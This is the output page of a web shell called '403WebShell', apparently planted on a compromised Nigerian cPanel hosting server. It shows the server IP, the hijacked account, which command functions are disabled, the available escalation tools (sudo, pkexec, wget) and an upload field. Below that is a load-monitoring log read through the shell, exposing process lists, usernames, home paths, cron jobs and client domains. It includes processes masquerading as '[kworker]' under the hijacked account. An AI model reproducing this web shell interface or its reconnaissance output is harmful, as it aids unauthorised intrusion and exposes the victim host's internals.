403WebShell

403Webshell
Server IP : 173.199.190.172 / Your IP : 216.73.216.167
Web Server : Apache
System : Linux chs1.nescrow.com.ng 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : oysipaoygov ( 1026)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /var/log/loadwatch/
Upload File :
[ Back ]
Current File : /var/log/loadwatch/2025-11-13.00.48.txt
 ## swap threshold exceeded
## server overview
2025-11-13.00.48 load[0] mem[61/64] mysql[5/8] httpd[14]
              total        used        free      shared  buff/cache   available
Mem:           2363        1327          72          64         964         787
Swap:          1999        1362         637
 00:48:01 up  4:45,  0 users,  load average: 1.58, 0.65, 0.43
## system overview
top - 00:48:01 up  4:45,  0 users,  load average: 1.58, 0.65, 0.43
Tasks: 205 total,   4 running, 200 sleeping,   0 stopped,   1 zombie
%Cpu(s): 63.6 us, 27.3 sy,  0.0 ni,  0.0 id,  9.1 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  2420300 total,    80684 free,  1362368 used,   977248 buff/cache
KiB Swap:  2047996 total,   653308 free,  1394688 used.   802580 avail Mem 

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
  1781 mysql     20   0 1457796 249020   3376 S 100.0 10.3   3:58.13 /usr/sbin+
 12675 nigeria   20   0  400652  15936  10216 S  18.8  0.7   0:00.04 /opt/cpan+
    36 root      20   0       0      0      0 S   6.2  0.0   0:14.21 [kswapd0]
 12708 cloudw    20   0  352096  15236  10128 S   6.2  0.6   0:00.01 /opt/cpan+
 12713 cloudsms  20   0  400332  14364   9528 R   6.2  0.6   0:00.01 /opt/cpan+
     1 root      20   0   44428   3524   1588 S   0.0  0.1   0:24.34 /usr/lib/+
     2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kthreadd]
     4 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
     6 root      20   0       0      0      0 S   0.0  0.0   0:01.10 [ksoftirq+
     7 root      rt   0       0      0      0 S   0.0  0.0   0:00.79 [migratio+
     8 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [rcu_bh]
     9 root      20   0       0      0      0 S   0.0  0.0   0:17.14 [rcu_sche+
    10 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [lru-add-+
    11 root      rt   0       0      0      0 S   0.0  0.0   0:00.04 [watchdog+
    12 root      rt   0       0      0      0 S   0.0  0.0   0:00.04 [watchdog+
    13 root      rt   0       0      0      0 S   0.0  0.0   0:00.74 [migratio+
    14 root      20   0       0      0      0 R   0.0  0.0   0:03.12 [ksoftirq+
    16 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
    18 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kdevtmpf+
    19 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [netns]
    20 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [khungtas+
    21 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [writebac+
    22 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kintegri+
    23 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    24 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    25 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    26 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kblockd]
    27 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [md]
    28 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [edac-pol+
    29 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    37 root      25   5       0      0      0 S   0.0  0.0   0:00.00 [ksmd]
    38 root      39  19       0      0      0 S   0.0  0.0   0:00.02 [khugepag+
    39 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [crypto]
    47 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kthrotld]
    49 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kmpath_r+
    50 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kaluad]
    51 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kpsmouse+
    52 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ipv6_add+
    65 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [deferwq]
   148 root      20   0       0      0      0 S   0.0  0.0   0:00.37 [kauditd]
   238 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ata_sff]
   247 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   248 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   249 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   250 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   256 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ttm_swap]
   257 root       0 -20       0      0      0 S   0.0  0.0   0:01.63 [kworker/+
   267 root       0 -20       0      0      0 S   0.0  0.0   0:01.55 [kworker/+
   276 root      20   0       0      0      0 S   0.0  0.0   0:00.79 [jbd2/vda+
   277 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   332 nobody    20   0  277732  19732   4092 S   0.0  0.8   0:01.36 /usr/sbin+
   357 root      20   0   39500   6028   5788 S   0.0  0.2   0:09.82 /usr/lib/+
   382 root      20   0   45360    512    368 S   0.0  0.0   0:00.35 /usr/lib/+
   410 root      16  -4   55532    556    428 S   0.0  0.0   0:01.53 /sbin/aud+
   415 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [rpciod]
   416 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [xprtiod]
   497 root      20   0   24896   1528    896 S   0.0  0.1   0:03.88 /usr/lib/+
   500 root      20   0   21540    492    380 S   0.0  0.0   0:00.37 /usr/sbin+
   501 polkitd   20   0  612240   3220    744 S   0.0  0.1   0:02.31 /usr/lib/+
   503 root      20   0  152780    280    236 S   0.0  0.0   0:00.01 /usr/sbin+
   504 root      20   0  224148   5824   1084 S   0.0  0.2   0:00.24 queueproc+
   507 root      20   0   52852    472    368 S   0.0  0.0   0:00.01 /usr/sbin+
   514 dbus      20   0   58728   1436    712 S   0.0  0.1   0:08.76 /usr/bin/+
   519 nscd      20   0 1062080   1580    784 S   0.0  0.1   0:13.60 /usr/sbin+
   521 rpc       20   0   69256    160     56 S   0.0  0.0   0:00.01 /sbin/rpc+
   529 root      20   0    4388    156    152 S   0.0  0.0   0:00.00 /usr/sbin+
   555 root      20   0  195208    112    112 S   0.0  0.0   0:00.00 /usr/sbin+
   575 root      20   0  124480    556    424 S   0.0  0.0   0:00.47 /usr/sbin+
   577 root      20   0   24208    196    172 S   0.0  0.0   0:00.00 /usr/sbin+
   590 root      20   0  114704    216    216 S   0.0  0.0   0:00.02 /bin/bash
   591 root      20   0  108296    216    212 S   0.0  0.0   0:00.00 /sbin/age+
   614 mailnull  20   0   89120   3952    924 S   0.0  0.2   0:00.64 /usr/sbin+
   620 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kvm-irqf+
   665 root       0 -20       0      0      0 S   0.0  0.0   0:02.17 [loop0]
   695 root      20   0       0      0      0 S   0.0  0.0   0:00.01 [jbd2/loo+
   696 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   924 systuser  20   0  113016     76      0 S   0.0  0.0   0:00.01 /usr/loca+
   928 systuser  20   0   14068     52      0 S   0.0  0.0   0:00.00 /usr/loca+
   929 systuser  20   0  114016  13872   2240 S   0.0  0.6   0:04.18 /usr/loca+
   930 root      20   0  153404    440    356 S   0.0  0.0   0:00.36 pure-ftpd+
   931 root      20   0   51508    624    464 S   0.0  0.0   0:00.25 /usr/sbin+
   932 root      20   0  572372   1024    436 S   0.0  0.0   0:01.53 /usr/bin/+
   933 telegraf  20   0 5654048  33692   2876 S   0.0  1.4   0:09.52 /usr/loca+
   935 memcach+  20   0  342400     76     76 S   0.0  0.0   0:00.38 /usr/bin/+
   939 root      20   0  111304    560    460 S   0.0  0.0   0:02.16 /usr/sbin+
   940 systuser  20   0   10132     48      0 S   0.0  0.0   0:00.01 /usr/loca+
   941 systuser  20   0  112268     72      0 S   0.0  0.0   0:00.01 /usr/loca+
   943 root      20   0  445028   1992   1992 S   0.0  0.1   0:00.05 sw-engine+
   950 root      20   0  386112    756    548 S   0.0  0.0   0:00.51 php-fpm: +
   961 named     20   0  637992  35696   1836 S   0.0  1.5   0:09.46 /usr/sbin+
   964 root      20   0  265552   6272   5348 S   0.0  0.3   0:04.57 /usr/sbin+
   981 root      20   0  436392  11184  11096 S   0.0  0.5   0:00.57 php-fpm: +
   984 root      20   0  385496    780    568 S   0.0  0.0   0:00.48 php-fpm: +
   985 root      20   0  261288   6948   1800 S   0.0  0.3   0:02.66 cpsrvd (S+
   989 root      20   0  392856    800    612 S   0.0  0.0   0:00.48 php-fpm: +
   992 root      20   0 1763048 258272   1056 S   0.0 10.7   0:15.44 /usr/loca+
  1000 root      20   0  397344   2920    752 S   0.0  0.1   0:02.30 php-fpm: +
  1006 cpanelc+  20   0   10604   3648   2372 R   0.0  0.2   0:13.85 /usr/loca+
  1075 dovenull  20   0   46984   2280   1500 S   0.0  0.1   0:00.36 dovecot/p+
  1076 dovenull  20   0   48324   3188   1376 S   0.0  0.1   0:00.28 dovecot/i+
  1077 dovecot   20   0   10320    496    376 S   0.0  0.0   0:00.09 dovecot/a+
  1078 root      20   0   10452    540    356 S   0.0  0.0   0:00.21 dovecot/l+
  1079 dovenull  20   0   46984   2300   1488 S   0.0  0.1   0:00.26 dovecot/p+
  1080 dovenull  20   0   47824   2820   1504 S   0.0  0.1   0:00.20 dovecot/i+
  1084 root      20   0   24528   2456    512 S   0.0  0.1   0:00.12 dovecot/c+
  1088 dovecot   20   0   13568    560    356 S   0.0  0.0   0:00.03 dovecot/s+
  1121 systuser  20   0  157704   2208    200 S   0.0  0.1   0:00.09 SonarPush+
  1166 dovecot   20   0   41260   1404    832 S   0.0  0.1   0:00.64 dovecot/a+
  1172 root      20   0  248152 118252   1840 S   0.0  4.9   0:04.88 /usr/loca+
  1173 wp-tool+  20   0  387556   3764   1708 S   0.0  0.2   0:00.20 /usr/bin/+
  1174 wp-tool+  20   0  410616  28692   1712 S   0.0  1.2   0:14.18 /usr/bin/+
  1232 root      20   0  209372  12012   2264 S   0.0  0.5   0:02.19 tailwatchd
  1234 root      20   0  228228  16872   3972 S   0.0  0.7   0:00.30 dnsadmin +
  1237 root      20   0  183900   5744   2512 S   0.0  0.2   0:00.83 cpdavd - +
  1642 root      20   0  299272    876    504 S   0.0  0.0   0:00.46 php-fpm: +
  1702 root      38  18  130416   1536    804 S   0.0  0.1   0:00.04 cpanellog+
  2059 root      20   0  267036   8568    816 S   0.0  0.4   0:01.33 /usr/sbin+
  2063 root      20   0   12764    576    376 S   0.0  0.0   0:01.97 /usr/loca+
  2064 root      20   0   12732    444    364 S   0.0  0.0   0:01.67 /usr/loca+
  2065 root      20   0   12776    548    368 S   0.0  0.0   0:01.84 /usr/loca+
  2089 root      20   0   53268    264    264 S   0.0  0.0   0:00.05 /usr/loca+
  5021 nobody    20   0  277732  19644   4020 S   0.0  0.8   0:00.69 /usr/sbin+
  5041 nobody    20   0  277720  19808   4076 S   0.0  0.8   0:00.68 /usr/sbin+
  5084 nobody    20   0  277784  19536   4068 S   0.0  0.8   0:00.77 /usr/sbin+
  5569 nobody    20   0  277672  19628   4084 S   0.0  0.8   0:00.58 /usr/sbin+
  5962 nobody    20   0  277720  19624   3972 S   0.0  0.8   0:00.80 /usr/sbin+
  6191 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
  7359 nobody    20   0  277920  19536   3876 S   0.0  0.8   0:00.68 /usr/sbin+
  7360 nobody    20   0  277784  19152   3696 S   0.0  0.8   0:00.49 /usr/sbin+
  7810 root      20   0       0      0      0 S   0.0  0.0   0:00.01 [kworker/+
  7883 root      20   0  306476 170344   3400 S   0.0  7.0   0:02.45 spamd chi+
  7886 root      20   0  248152 116852    476 S   0.0  4.8   0:00.00 spamd chi+
  8809 nobody    20   0  277632  19496   3992 S   0.0  0.8   0:00.32 /usr/sbin+
  8905 nobody    20   0  277720  19284   3628 S   0.0  0.8   0:00.47 /usr/sbin+
  9446 nobody    20   0  277720  19376   3868 S   0.0  0.8   0:00.43 /usr/sbin+
 10212 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 10227 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 10695 nobody    20   0  277720  18684   3268 S   0.0  0.8   0:00.22 /usr/sbin+
 11220 nobody    20   0  277908  19012   3612 S   0.0  0.8   0:00.19 /usr/sbin+
 11377 nobody    20   0  277784  19112   3632 S   0.0  0.8   0:00.10 /usr/sbin+
 11412 nobody    20   0  277924  19012   3608 S   0.0  0.8   0:00.16 /usr/sbin+
 12252 nobody    20   0  277500  18532   3408 S   0.0  0.8   0:00.02 /usr/sbin+
 12275 root      20   0  111304   4260   3248 S   0.0  0.2   0:00.00 sshd: [ac+
 12286 nobody    20   0  277784  18880   3512 S   0.0  0.8   0:00.04 /usr/sbin+
 12369 root      20   0  111304   4268   3248 S   0.0  0.2   0:00.00 sshd: [ac+
 12547 nigeria   20   0  397064   5360   2352 S   0.0  0.2   0:00.00 php-fpm: +
 12548 nigeria   20   0  397064   5360   2348 S   0.0  0.2   0:00.00 php-fpm: +
 12590 root      20   0  157100   5080   3792 S   0.0  0.2   0:00.00 sshd: unk+
 12591 sshd      20   0  115644   2628   1560 S   0.0  0.1   0:00.00 sshd: unk+
 12602 root      20   0  111304   4440   3404 S   0.0  0.2   0:00.00 sshd: [ac+
 12603 sshd      20   0  115644   2628   1560 S   0.0  0.1   0:00.00 sshd: [ne+
 12613 cloudsms  20   0   61768   6164   4428 S   0.0  0.3   0:00.00 dovecot/l+
 12614 root      20   0   41052   2724   2088 S   0.0  0.1   0:00.00 dovecot/a+
 12621 root      20   0  111304   4268   3248 S   0.0  0.2   0:00.00 sshd: [ac+
 12624 root      20   0       0      0      0 Z   0.0  0.0   0:00.00 [cpaneld +
 12627 root      20   0  183048   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 12628 root      20   0  183048   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 12630 root      20   0  183048   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 12631 root      20   0  183048   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 12632 root      20   0  183048   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 12633 root      20   0  183048   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 12634 root      20   0  183048   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 12635 root      20   0  183048   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 12636 root      20   0  183048   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 12637 root      20   0  183048   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 12638 root      20   0  183048   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 12639 root      20   0  183048   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 12641 root      20   0  183048   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 12643 cloudw    20   0  352096  15232  10128 S   0.0  0.6   0:00.01 /opt/cpan+
 12645 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 12646 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 12647 root      20   0   20164    988    784 S   0.0  0.0   0:00.00 jailshell+
 12648 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 12649 root      20   0   20164    968    764 S   0.0  0.0   0:00.00 jailshell+
 12651 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 12652 root      20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /bin/sh -+
 12654 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 12655 root      20   0   20164    964    764 S   0.0  0.0   0:00.00 jailshell+
 12656 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 12657 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 12658 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 12659 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 12662 root      20   0  108052    356    284 S   0.0  0.0   0:00.00 /usr/bin/+
 12665 root      20   0  113288   1520   1300 S   0.0  0.1   0:00.00 /bin/bash+
 12669 cloudw    20   0  352096  15236  10128 S   0.0  0.6   0:00.01 /opt/cpan+
 12673 nigeria   20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 12676 pactpay   20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 12680 pactpay   20   0  476724  17480  11728 S   0.0  0.7   0:00.02 /opt/cpan+
 12707 root      20   0  160220   2060   1580 R   0.0  0.1   0:00.00 top -bcn1
 12711 cloudsms  20   0   20164    264      0 S   0.0  0.0   0:00.00 jailshell+
 12712 cloudsms  20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /usr/loca+
 36095 root      20   0       0      0      0 S   0.0  0.0   0:00.10 [kworker/+
 47111 oysipao+  20   0    3148    416      0 S   0.0  0.0   0:00.00 [kworker]
 47116 oysipao+  20   0    3152    428      0 S   0.0  0.0   0:00.24 [kworker]
 71989 worencom  20   0   38492   2536   1564 S   0.0  0.1   0:00.02 dovecot/i+
 76167 root      20   0  181364  29300   2316 S   0.0  1.2   0:02.84 lfd - sle+
 76469 root      20   0 1276100  10712    592 S   0.0  0.4   0:00.07 /usr/bin/+
 76506 root      20   0 1277312  11624    592 S   0.0  0.5   0:00.07 /usr/bin/+
 77696 nobody    20   0  277728  21120   4732 S   0.0  0.9   0:04.57 /usr/sbin+
 78808 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 96275 root      20   0       0      0      0 S   0.0  0.0   0:00.05 [kworker/+
 96276 root      20   0       0      0      0 S   0.0  0.0   0:00.15 [kworker/+
 97236 nobody    20   0  277676  20556   4332 S   0.0  0.8   0:02.13 /usr/sbin+
100159 root      20   0       0      0      0 S   0.0  0.0   0:00.05 [kworker/+
100219 root      20   0       0      0      0 S   0.0  0.0   0:00.01 [kworker/+
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          2  0.0  0.0      0     0 ?        S    Nov12   0:00 [kthreadd]
root          4  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [kworker/0:0H]
root          6  0.0  0.0      0     0 ?        S    Nov12   0:01  \_ [ksoftirqd/0]
root          7  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [migration/0]
root          8  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [rcu_bh]
root          9  0.1  0.0      0     0 ?        R    Nov12   0:17  \_ [rcu_sched]
root         10  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [lru-add-drain]
root         11  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [watchdog/0]
root         12  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [watchdog/1]
root         13  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [migration/1]
root         14  0.0  0.0      0     0 ?        S    Nov12   0:03  \_ [ksoftirqd/1]
root         16  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [kworker/1:0H]
root         18  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [kdevtmpfs]
root         19  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [netns]
root         20  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [khungtaskd]
root         21  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [writeback]
root         22  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [kintegrityd]
root         23  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [bioset]
root         24  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [bioset]
root         25  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [bioset]
root         26  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [kblockd]
root         27  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [md]
root         28  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [edac-poller]
root         29  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [watchdogd]
root         36  0.0  0.0      0     0 ?        S    Nov12   0:14  \_ [kswapd0]
root         37  0.0  0.0      0     0 ?        SN   Nov12   0:00  \_ [ksmd]
root         38  0.0  0.0      0     0 ?        SN   Nov12   0:00  \_ [khugepaged]
root         39  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [crypto]
root         47  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [kthrotld]
root         49  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [kmpath_rdacd]
root         50  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [kaluad]
root         51  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [kpsmoused]
root         52  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [ipv6_addrconf]
root         65  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [deferwq]
root        148  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [kauditd]
root        238  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [ata_sff]
root        247  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [scsi_eh_0]
root        248  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [scsi_tmf_0]
root        249  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [scsi_eh_1]
root        250  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [scsi_tmf_1]
root        256  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [ttm_swap]
root        257  0.0  0.0      0     0 ?        S<   Nov12   0:01  \_ [kworker/1:1H]
root        267  0.0  0.0      0     0 ?        S<   Nov12   0:01  \_ [kworker/0:1H]
root        276  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [jbd2/vda3-8]
root        277  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [ext4-rsv-conver]
root        415  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [rpciod]
root        416  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [xprtiod]
root        620  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [kvm-irqfd-clean]
root        665  0.0  0.0      0     0 ?        S<   Nov12   0:02  \_ [loop0]
root        695  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [jbd2/loop0-8]
root        696  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [ext4-rsv-conver]
root      36095  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [kworker/u200:2]
root      78808  0.0  0.0      0     0 ?        S    00:03   0:00  \_ [kworker/0:3]
root      96275  0.0  0.0      0     0 ?        S    00:25   0:00  \_ [kworker/1:2]
root      96276  0.0  0.0      0     0 ?        S    00:25   0:00  \_ [kworker/u200:0]
root     100159  0.0  0.0      0     0 ?        S    00:30   0:00  \_ [kworker/1:0]
root     100219  0.0  0.0      0     0 ?        S    00:30   0:00  \_ [kworker/0:0]
root       6191  0.0  0.0      0     0 ?        S    00:40   0:00  \_ [kworker/0:1]
root       7810  0.0  0.0      0     0 ?        S    00:42   0:00  \_ [kworker/1:1]
root      10212  0.0  0.0      0     0 ?        S    00:45   0:00  \_ [kworker/0:2]
root      10227  0.0  0.0      0     0 ?        S    00:45   0:00  \_ [kworker/0:4]
root          1  0.1  0.1  44428  3524 ?        Ss   Nov12   0:24 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root        357  0.0  0.2  39500  6028 ?        Ss   Nov12   0:09 /usr/lib/systemd/systemd-journald
root        382  0.0  0.0  45360   512 ?        Ss   Nov12   0:00 /usr/lib/systemd/systemd-udevd
root        410  0.0  0.0  55532   556 ?        S<sl Nov12   0:01 /sbin/auditd
root        497  0.0  0.0  24896  1528 ?        Ss   Nov12   0:03 /usr/lib/systemd/systemd-logind
root        500  0.0  0.0  21540   492 ?        Ss   Nov12   0:00 /usr/sbin/irqbalance --foreground
polkitd     501  0.0  0.1 612240  3220 ?        Ssl  Nov12   0:02 /usr/lib/polkit-1/polkitd --no-debug
root        503  0.0  0.0 152780   280 ?        Ss   Nov12   0:00 /usr/sbin/pure-authd -s /var/run/ftpd.sock -r /usr/local/cpanel/bin/pureauth
root        504  0.0  0.2 224148  5824 ?        Ss   Nov12   0:00 queueprocd - waiting up to 60s to process a task
root        507  0.0  0.0  52852   472 ?        Ss   Nov12   0:00 /usr/sbin/smartd -n -q never
dbus        514  0.0  0.0  58728  1436 ?        Ss   Nov12   0:08 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
nscd        519  0.0  0.0 1062080 1580 ?        Ssl  Nov12   0:13 /usr/sbin/nscd
rpc         521  0.0  0.0  69256   160 ?        Ss   Nov12   0:00 /sbin/rpcbind -w
root        529  0.0  0.0   4388   156 ?        Ss   Nov12   0:00 /usr/sbin/acpid
root        555  0.0  0.0 195208   112 ?        Ssl  Nov12   0:00 /usr/sbin/gssproxy -D
root        575  0.0  0.0 124480   556 ?        Ss   Nov12   0:00 /usr/sbin/crond -n
root      12627  0.0  0.0 183048  2140 ?        S    00:48   0:00  \_ /usr/sbin/CROND -n
root      12652  0.0  0.0 113284  1212 ?        Ss   00:48   0:00  |   \_ /bin/sh -c /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch &> /dev/null
root      12662  0.0  0.0 108052   356 ?        S    00:48   0:00  |       \_ /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch
root      12665  0.0  0.0 113288  1520 ?        S    00:48   0:00  |           \_ /bin/bash /usr/local/lp/bin/loadwatch
root      12715  0.0  0.0 153840  2096 ?        R    00:48   0:00  |               \_ ps auxf
root      12628  0.0  0.0 183048  2144 ?        S    00:48   0:00  \_ /usr/sbin/CROND -n
root      12657  0.0  0.0  20164   808 ?        Ss   00:48   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/sendsingle1.php > /dev/null 2>&1
root      12630  0.0  0.0 183048  2144 ?        S    00:48   0:00  \_ /usr/sbin/CROND -n
root      12648  0.0  0.0  20164   808 ?        Ss   00:48   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/send_single.php > /dev/null 2>&1
root      12631  0.0  0.0 183048  2144 ?        S    00:48   0:00  \_ /usr/sbin/CROND -n
root      12646  0.0  0.0  20164   804 ?        Ss   00:48   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_schedules.php > /dev/null 2>&1
root      12632  0.0  0.0 183048  2144 ?        S    00:48   0:00  \_ /usr/sbin/CROND -n
root      12654  0.0  0.0  20164   804 ?        Ss   00:48   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue2.php > /dev/null 2>&1
root      12633  0.0  0.0 183048  2144 ?        S    00:48   0:00  \_ /usr/sbin/CROND -n
root      12647  0.0  0.0  20164   988 ?        Ss   00:48   0:00  |   \_ jailshell (cloudsms) [12711] ll -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  12711  0.0  0.0  20164   264 ?        S    00:48   0:00  |       \_ jailshell (cloudsms) [init] ell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  12712  0.0  0.0 113284  1212 ?        S    00:48   0:00  |           \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  12713  0.0  0.6 400652 15404 ?        S    00:48   0:00  |               \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/cloudsms/public_html/massmailer/cron.php
root      12634  0.0  0.0 183048  2144 ?        S    00:48   0:00  \_ /usr/sbin/CROND -n
root      12658  0.0  0.0  20164   804 ?        Ss   00:48   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue.php > /dev/null 2>&1
root      12635  0.0  0.0 183048  2144 ?        S    00:48   0:00  \_ /usr/sbin/CROND -n
root      12645  0.0  0.0  20164   804 ?        Ss   00:48   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue5.php > /dev/null 2>&1
root      12636  0.0  0.0 183048  2144 ?        S    00:48   0:00  \_ /usr/sbin/CROND -n
root      12656  0.0  0.0  20164   804 ?        Ss   00:48   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue4.php > /dev/null 2>&1
root      12637  0.0  0.0 183048  2144 ?        S    00:48   0:00  \_ /usr/sbin/CROND -n
